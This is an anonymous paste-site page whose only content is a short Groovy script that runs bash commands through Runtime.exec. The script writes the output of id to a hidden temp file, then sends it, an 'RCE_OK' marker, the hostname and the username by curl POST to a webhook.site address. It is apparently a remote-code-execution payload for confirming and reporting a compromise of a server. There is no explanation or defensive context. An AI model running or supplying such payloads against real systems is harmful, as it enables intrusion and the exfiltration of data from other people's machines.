📄 plaintext public

Untitled Paste

Guest 1h ago 1 views Text Paste
Raw
Advertisement
📄 plaintext
1
import java.lang.Runtime
2
import java.io.*
3
 
4
def cmd = ["bash", "-c", "id > /tmp/.c 2>&1; curl -s -X POST -d @/tmp/.c https://webhook.site/1e1b28a2-0bca-491c-8852-70495f97de2d 2>/dev/null; echo RCE_OK | curl -s -X POST -d @- https://webhook.site/1e1b28a2-0bca-491c-8852-70495f97de2d 2>/dev/null; hostname | curl -s -X POST -d @- https://webhook.site/1e1b28a2-0bca-491c-8852-70495f97de2d 2>/dev/null; whoami | curl -s -X POST -d @- https://webhook.site/1e1b28a2-0bca-491c-8852-70495f97de2d 2>/dev/null"]
5
Runtime.getRuntime().exec(cmd)